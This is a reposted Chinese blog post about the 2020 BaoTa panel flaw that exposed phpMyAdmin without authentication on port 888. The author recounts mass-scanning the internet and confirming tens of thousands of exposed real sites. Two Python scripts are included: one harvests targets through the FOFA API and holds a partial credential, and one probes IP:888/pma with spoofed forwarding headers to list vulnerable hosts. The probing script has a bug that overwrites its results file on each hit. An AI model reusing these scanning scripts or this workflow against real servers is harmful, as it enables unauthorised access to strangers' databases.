8.23宝塔面板数据库未授权访问漏洞

昨天晚上大概六七点种群里爆出来的消息,,从fofa上面找了几个都不行,以为是假的,,就没太在意,后来不少群友都复现成功,(他们从shodan上面,成功率非常高),遂引起重视

众所周知,腾讯云一直和宝塔面板很配,并且像宝塔面板这种知名度还可以的网站搭建平台,应该会造成比较大的影响,于是开始了挖洞之旅;

最开始的思路是fofa加py脚本,从fofa官方给的api上面直接获取装了宝塔面板的url(脚本在文章末尾会上传,需要fofa的会员),但是发现漏洞的复现成功率很低,很多404(这里确实佩服宝塔工作人员的提醒漏洞修补效率,听说还特地给用户发了短信,算是保住了名誉,国民的网络安全意识也算有所提高),并且fofa上面获取的url太少,每次只能获取100条,遂和群里的前辈大佬猫叔请教,给出了先用SYN扫描器(这里举例:比如说TCP  port scann好像是叫这个名字 还有就是 xdedic ip scan 这个或者 zmap 也可以,不过最好不要用 namp ,不是不行,nmap很优秀,只是这里不适用 )扫IP段开发888端口的主机,然后再写个py脚本拼接IP:888/pma,再请求,如果返回状态码 200 则极大可能存在漏洞。这个思路效率比较高,大概七个小时左右,端口扫描器没扫完,扫出来七万多开放888端口的漏洞,然后再放在脚本里筛选下,出来很多很多成功的,不过大多都是些小站,个人博客,个人商城,小公司,游戏平台,视频平台等等,,没咋看,,之后就没啥意思了。这里记录下学习到的知识和欠缺待学习的知识。

学习到的知识:

①主要是挖洞的思路,端口型漏洞,直接用端口扫描器扫IP段就行

②有时候刷漏洞倒没什么意思,学不到什么实在的知识

欠缺的部分:

①这次挖洞,深切感知到知识储备的重要,第一时间知道漏洞之后,直接py写脚本批量跑,学好python确实很重要,以后还需要多加强

②在将IP解析为域名的时候,需要自己写个爬虫,这倒不难,难得爬下来的东西需要正则匹配获取内容,正则我一直使用的不是很熟练,不过最近很多方面都应用到了,所以一定要强化正则匹配

③有时间还得向前辈请教请教如何批量IP反查域名,不知道是不是我这么用爬虫requests拼接请求,正则匹配获取域名

记录一些不错的通过IP反查域名的网站:

https://site.ip138.com/                          很好用的IP反查域名网站,网上不少网站根本查不出来,就是个幌子

http://stool.chinaz.com/Same/              其次推荐站长之家,这个就不用说了

https://tools.ipip.net/ipdomain.php          这个网站也非常优秀,IP反查域名准确率高

附上fofa获取网站搭建使用宝塔面板的网站脚本

import  requests
import json
class Client:
    def __init__(self):
        self.email = '    '
        self.key = '     '
        self.base_url = 'https://fofa.so'
        self.login_url = '/api/v1/info/my'
        self.search_url = '/api/v1/search/all'
        self.get_userinfo()

    def get_userinfo(self):
        api_full_url = '%s%s' % (self.base_url , self.login_url)
        param = {'email':'axom','key':'bbedf840c'}                        //这里得填 fofa  VIP 会员账号的 邮箱 和  key 
        res = self.__http_get(api_full_url,param)
        # print(res.encoding)
        return res   #源代码  return json.loads(res)

    def get_data(self,query_str,page=1,fields=""):
        res = self.get_json_data(query_str,page,fields)
        # print(res)
        return res  #源代码 return json.loads(res)

    def get_json_data(self,query_str,page=1,fields=""):
        api_full_url = '%s%s' % (self.base_url,self.search_url)
        # print(api_full_url)
        param = {'email':self.email,'key':self.key,'qbase64':'5ZCO5Y+w55m75b2V','page':1,'fields':fields}        //这里没改,应该把base64的值也改了
        res = self.__http_get(api_full_url,param)
        # print(res)
        return res

    def __http_get(self,url,param):
        url = '%s?%s' % (url,param)
       # print(url)
        try:
            res = requests.get(url,params=param)
            # print(res)
        except:
            print('出错!!!')
        return res




#
# Client()
query_str = 'app=宝塔面板'            #在此处修改关键词    同时还应修改所对应的base64的值!!!!
data = Client().get_data(query_str,page=2,fields="host")
a = data.text
# a.encode(encoding='utf-8')
# print(a)
a = json.loads(data.text)                   #返回的数据被默认转换成了str格式,需要转换为dict(字典)格式!!!
s = a['results']
for result in s:
    print("%s" % (result))
print(len(s))


#  by   simple
#新思路,通过namp或者其他类的端口扫描器批量扫描IP段,然后在写个脚本访问,看看域名是否存在
import  requests
import  random

def random_headers():#生成随机headers
    user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
                  'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
                  'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
                  'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
                  'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
                  'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
                  'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
                  'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
                  'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
                  'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
    UA = random.choice(user_agent)
    a = str(random.randint(1, 255))
    b = str(random.randint(1, 255))
    c = str(random.randint(1, 255))
    random_XFF = '127.' + a + '.' + b + '.' + c
    random_CI= '127.' + c + '.' + a + '.' + b
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'User-Agent': UA,
        'X-Forwarded-For': random_XFF,
        'Client-IP':random_CI,
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        "Referer": "http://www.baidu.com/",
        'Content-Type': 'application/x-www-form-urlencoded'}
    return headers


for line in open('cunhuoip.txt', 'r'):  # 打开文件
    rs = line.replace('
', '')  # 替换换行符
    # print(rs)  # 显示替换后的行
    # r.encoding = 'utf-8'
    rs = 'http://' + rs + ':888/pma'
    try :
        r = requests.get(url=rs, headers=random_headers(), timeout=5)
        if (r.status_code == 200):
          print(rs)
          file = open('result.txt', mode='w')
          file.write(rs)
          file.write('
')  # 将回车写入txt文件中
        else:
          print('not  okk ')
    except:
        print('error!!')
原文地址:https://www.cnblogs.com/zhangqianxi/p/13556746.html